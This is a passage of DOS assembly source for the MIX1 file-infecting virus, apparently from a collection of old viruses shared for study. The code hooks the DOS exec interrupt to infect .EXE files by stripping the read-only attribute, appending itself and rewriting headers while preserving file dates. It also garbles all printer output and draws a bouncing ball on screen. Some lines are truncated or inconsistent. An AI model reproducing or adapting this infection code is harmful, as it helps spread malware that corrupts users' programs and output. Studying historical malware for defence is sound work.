mix1.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

;       Get current video mode and store it
;
        MOV     AH,0FH
        INT     10H
        MOV     CS:[VMODE],AH
;
;       Exit interrupt routine
;
        JMP     TXEX
;
;       Every time an INT 8 occurs, after the 60 min. have passed, we
;       end up here:
;
;       First get current cursor position
;
TT0:    MOV     AH,3
        MOV     BH,0
        INT     10H
        MOV     CS:[SCRLINE],DH
        MOV     CS:[SCRCOL],DL
;
;       Then set it to last position of ball.
;
        MOV     AH,2
        MOV     BH,0
        MOV     DH,CS:[MYLINE]
        MOV     DL,CS:[MYCOL]
        INT     10H
;
;       Write previous character there ...
;
        MOV     AH,0EH
        MOV     AL,CS:[ONSCREEN]
        MOV     BX,0
        INT     10H
;
;
        CMP     BYTE PTR CS:[UPDOWN],0
        JZ      T2
;
;
        DEC     BYTE PTR CS:[MYLINE]
        JMP     SHORT T3
        NOP
T2:     INC     BYTE PTR CS:[MYLINE]
T3:     CMP     BYTE PTR CS:[LEFTRIGHT],0
        JZ      T4
        DEC     BYTE PTR CS:[MYCOL]
        JMP     SHORT T5
        NOP
T4:     INC     BYTE PTR CS:[MYCOL]
;
;       Get current video mode
;
T5:     MOV     AH,0FH
        INT     10H
        MOV     CS:[VMODE],AH
        MOV     AL,CS:[MAXLIN]
        CMP     CS:[MYLINE],AL                  ; bottom of screen ?
        JNZ     T6
;
;       Reached bottom - now go upwards.
;
        NOT     BYTE PTR CS:[UPDOWN]
T6:     CMP     BYTE PTR CS:[MYLINE],0          ; reached the top ?
        JNZ     T7
;
;       Reached top - now go downwards
;
        NOT     BYTE PTR CS:[UPDOWN]
T7:     MOV     AL,CS:[VMODE]
        CMP     CS:[MYCOL],AL
        JNZ     T8
        NOT     BYTE PTR CS:[LEFTRIGHT]
T8:     CMP     BYTE PTR CS:[MYCOL],0
        JNZ     T9
        NOT     BYTE PTR CS:[LEFTRIGHT]
;
;       Set cursor position to new position of ball
;
T9:     MOV     AH,02
        MOV     BH,0
        MOV     DH,CS:[MYLINE]
        MOV     DL,CS:[MYCOL]
        INT     10H
;
;       Get what is there and store it.
;
        MOV     AH,8
        MOV     BH,0
        INT     10H
        MOV     CS:[ONSCREEN],AL
;
;       Write character (lower case o)
;
        MOV     AH,0EH
        MOV     AL,6FH
        MOV     BX,0
        INT     10H
;
;       And restore cursor position
;
        MOV     AH,02
        MOV     BH,0
        MOV     DH,CS:[SCRLINE]
        MOV     DL,CS:[SCRCOL]
        INT     10H
;
;       Restore registers and quit
;
TXEX:   POP     AX
        POP     BX
        POP     CX
        POP     DX
        DB      0EAH
OLD8    DW      0,0
;
;       New INT 17 routine. Garble all outgoing characters.
;
NEW17:  CMP     AH,0
        JZ      P0
DO17:   DB      0EAH
OLD17   DW      0,0
P0:     PUSH    BX
        XOR     BX,BX
        MOV     BL,AL
        ADD     BX,OFFSET ERRTAB
        MOV     AL,CS:[BX]
        POP     BX
        JMP     DO17
;
;        This is the INT 21 replacement. It only does something in the case
;        of an EXEC call.
;
NEW21:  CMP    AH,4BH
        JE     L5
DO21:   DB     0EAH
OLD21   DW     0,0
;
;       The code to only infect every tenth program has been removed
;
L5:     PUSH        AX
        PUSH        BX
        PUSH        CX
        PUSH        DX
        PUSH        SI
        PUSH        DS
;
;        Search for the file name extension ...
;
        MOV        BX,DX
L6:     INC        BX
        CMP        BYTE PTR [BX],'.'
        JE         L8
        CMP        BYTE PTR [BX],0
        JNE        L6
;
;        ... and quit unless it starts with "EX".
;
L7:     POP        DS
        POP        SI
        POP        DX
        POP        CX
        POP        BX
        POP        AX
        JMP        DO21
L8:     INC        BX
        CMP        WORD PTR [BX],5845H
        JNE        L7
;
;        When an .EXE file is found, the virus starts by turning off
;        the read-only attribute. The read-only attribute is not restored
;        when the file has been infected.
;
        MOV        AX,4300H                ; Get attribute
        INT        21H
        JC         L7
        MOV        AX,4301H                ; Set attribute
        AND        CX,0FEH
        INT        21H
        JC         L7
;
;        Next, the file is examined to see if it is already infected.
;         The signature (4418 5F19) is stored in the last two words.
;
        MOV        AX,3D02H                ; Open / write access
        INT        21H
        JC         L7
        MOV        BX,AX                        ; file handle in BX
;
;       This part of the code is new: Get date of file.
;
        MOV     AX,5700H
        INT     21H
        JC      L9
        MOV     CS:[DATE1],DX
        MOV     CS:[DATE2],CX
;
        PUSH    CS                        ; now DS is no longer needed
        POP     DS
;
;        The header of the file is read in at [ID+8]. The virus then
;        modifies itself, according to the information stored in the
;        header. (The original CS and IP addressed are stored).
;
        MOV        DX,OFFSET ID+8
        MOV        CX,1CH
        MOV        AH,3FH
        INT        21H
        JC        L9
        MOV        AX,DS:ID[1CH]
        MOV        DS:[ORG_IP],AX
        MOV        AX,DS:ID[1EH]
        ADD        AX,10H
        MOV        DS:[ORG_CS],AX
;
;        Next the read/write pointer is moved to the end of the file-4,
;        and the last 4 bytes read. They are compared to the signature,
;        and if equal nothing happens.
;
        MOV        AX,4202H
        MOV        CX,-1
        MOV        DX,-4
        INT        21H
        JC        L9
        ADD        AX,4
        MOV        DS:[LEN_LO],AX
        JNC        L8A
        INC        DX
L8A:    MOV        DS:[LEN_HI],DX
;
;       This part of the virus is new - check if it is below minimum length
;
        CMP     DX,0
        JNE     L8B
        MOV     CL,13
        SHR     AX,CL
        CMP     AX,0
        JG      L8B
        JMP     SHORT L9
        NOP
L8B:    MOV        AH,3FH
        MOV        CX,4
        MOV        DX,OFFSET ID+4
        INT        21H
        JNC        L11
L9:     MOV        AH,3EH
        INT        21H
L10:    JMP        L7
;
;        Compare to 4418,5F19
;
L11:    MOV        SI,OFFSET ID+4
        MOV        AX,[SI]
        CMP        AX,494DH
        JNE        L12
        MOV        AX,[SI+2]
        CMP        AX,3158H
        JE        L9
;
;        The file is not infected, so the next thing the virus does is
;        infecting it. First it is padded so the length becomes a multiple
;        of 16 bytes. Tis is probably done so the virus code can start at a
;        paragraph boundary.
;
L12:    MOV        AX,DS:[LEN_LO]
        AND        AX,0FH
        JZ        L13
        MOV        CX,16
        SUB        CX,AX
        ADD        DS:[LEN_LO],CX
        JNC        L12A
        INC        DS:[LEN_HI]
L12A:   MOV        AH,40H
        INT        21H
        JC        L9
;
;        Next the main body of the virus is written to the end.
;
L13:    MOV     DX,0                    ; Was:   XOR        DX,DX
        MOV        CX,OFFSET ID + 4
        MOV        AH,40H
        INT        21H
        JC        L9
;
;        Next the .EXE file header is modified:
;
        JMP     SHORT   F0              ; some unnecessary instructions
        NOP
;        First modify initial IP
;
F0:     MOV        AX,OFFSET LABEL
        MOV        DS:ID[1CH],AX
;
;        Modify starting CS = Virus CS. It is computed as:
;
;        (Original length of file+padding)/16 - Start of load module
;
        MOV        DX,DS:[LEN_HI]
        MOV        AX,DS:[LEN_LO]
        MOV        CL,CS:[CONST1]               ; Modified a bit
        SHR        DX,CL
        RCR        AX,CL
        SHR        DX,CL
        RCR        AX,CL
        SHR        DX,CL
        RCR        AX,CL
        SHR        DX,CL
        RCR        AX,CL
        SUB        AX,DS:ID[10H]
        MOV        DS:ID[1EH],AX
;
;        Modify length mod 512
;
        ADD        DS:[LEN_LO],OFFSET ID+4
        JNC        L14
        INC        DS:[LEN_HI]
L14:    MOV        AX,DS:[LEN_LO]
        AND        AX,511
        MOV        DS:ID[0AH],AX
;
;        Modify number of blocks used
;
        MOV        DX,DS:[LEN_HI]
        MOV        AX,DS:[LEN_LO]
        ADD        AX,511
        JNC        L14A
        INC        DX
L14A:   MOV        AL,AH
        MOV        AH,DL
        SHR        AX,1
        MOV        DS:ID[0CH],AX
;
;        Finally the modified header is written back to the start of the
;        file.
;
QQQ:    MOV        AX,4200H
        MOV     CX,0                    ; was XOR CX,CX
        AND     DX,CS:[CONST0]          ; was XOR DX,DX
        INT        21H
        JC        ENDIT
        MOV        AH,40H
        MOV        DX,OFFSET ID+8
        MOV        CX,1CH
        INT        21H
;
;       This part is new:       Restore old date.
;
        MOV     DX,CS:[DATE1]
        MOV     CX,CS:[DATE2]
        MOV     AX,5701H
        INT     21H
        JC      ENDIT
        INC     WORD PTR CS:[NOINF]
;
;        Infection is finished - close the file and execute it
;
ENDIT:  JMP        L9
;
;
        DW      0
 
VIDEOT: DW      0000H,  07D0H,  0B800H
        DW      0000H,  07D0H,  0B800H
        DW      0000H,  0FA0H,  0B800H
        DW      0000H,  0FA0H,  0B800H
        DW      0001H,  4000H,  0B800H
        DW      0001H,  4000H,  0B800H
        DW      0001H,  4000H,  0B800H
        DW      0000H,  0FA0H,  0B000H
        DW      0001H,  3E80H,  0B000H
        DW      0001H,  7D00H,  0B000H
        DW      0001H,  7D00H,  0B000H
        DW      0002H,  0000H,   0000H
        DW      0002H,  0000H,   0000H
        DW      0001H,  7D00H,  0A000H
        DW      0001H,  0FA00H, 0A000H
        DW      0001H,  6D60H,  0A000H
        DW      0002H,  0000H.  0000H
 
        DW      0
 
ERRTAB  DB      00H,01H,02H,03H,04H,05H,06H,07H,08H,09H,0BH,0AH,0CH,0DH,0EH,0FH
        DB      10H,11H,12H,13H,14H,15H,16H,17H,18H,19H,1BH,1AH,1CH,1DH,1FH,1EH
        DB      20H,21H,22H,23H,24H,25H,26H,27H,29H,28H,2AH,2DH,2CH,2BH,2EH,2FH
        DB      30H,31H,32H,33H,34H,35H,36H,37H,38H,39H,3AH,3BH,3EH,3DH,3CH,3FH
        DB      40H,42H,45H,43H,44H,41H,50H,47H,48H,59H,4AH,4BH,4CH,4DH,4EH,55H
        DB      46H,51H,52H,53H,54H,4FH,56H,57H,58H,49H,5AH,5DH,5CH,5BH,5EH,5FH
        DB      60H,65H,62H,73H,64H,61H,70H,67H,68H,65H,6AH,6BH,6CH,6DH,6EH,75H
        DB      66H,71H,72H,63H,74H,6FH,76H,77H,78H,79H,7AH,7DH,7CH,7BH,7EH,7FH
        DB      92H,81H,82H,83H,84H,85H,86H,8BH,9AH,89H,8AH,87H,8CH,8DH,8EH,8FH
        DB      90H,99H,80H,93H,94H,95H,96H,97H,98H,91H,88H,9BH,9CH,9DH,9EH,9FH
        DB      0A0H,0A1H,0A2H,0A3H,0A4H,0A5H,0A6H,0A7H,0A8H,0A9H,0BBH,0ABH,0ACH
        DB      0B0H,0B1H,0B2H,0B3H,0B4H,0B5H,0B6H,0B7H,0B8H,0B9H,0BAH,0AAH,0D9H
        DB      0C8H,0C1H,0C2H,0C3H,0C4H,0C5H,0C6H,0C7H,0C0H,0A9H,0CAH,0CBH,0CCH
        DB      0D0H,0D1H,0D2H,0D3H,0D4H,0D5H,0D6H,0D7H,0D8H,0BCH,0DAH,0DBH,0DCH
        DB      0E0H,0E1H,0E2H,0E3H,0E4H,0E5H,0E6H,0E7H,0E8H,0E9H,0EAH,0EBH,0ECH
        DB      0F0H,0F1H,0F2H,0F3H,0F4H,0F5H,0F6H,0F7H,0F8H,0F9H,0FAH,0FBH,0FCH
 
CONST1  DB      1       ; Just the constant 1
CONST0  DW      0       ; The label says it all
MIN60   DB      0       ; Flag, set to 1 60 minutes after execution
MIN50   DB      0       ; Flag, set to 1 50 minutes after execution
VMODE   DB      0       ; Video mode
MAXLIN  DB      24
MYCOL   DB      0       ; Position of ball on screen
MYLINE  DB      0       ; ditto.
ONSCREEN DB     ?       ; Previous character on the screen
UPDOWN  DB      0       ; Direction of ball (up or down)
LEFTRIGHT DB    0       ; Direction (left or right)
SCRCOL  DB      ?
SCRLINE DB      ?
DATE1   DW      ?       ; Date of file
DATE2   DW      ?       ; ditto.
TIMER   DW      0       ; Number of timer (INT 8) ticks
LEN_LO  DW      ?
LEN_HI  DW      ?
NOINF   DW      0       ; Number of infections
ID      ABRAX WORD
        DB      "MIX1"  ; The signature of the virus.
;
;        A buffer, used for data from the file.
;
 
VIRUS   ENDP
CODE        ENDS
 
        END ABRAX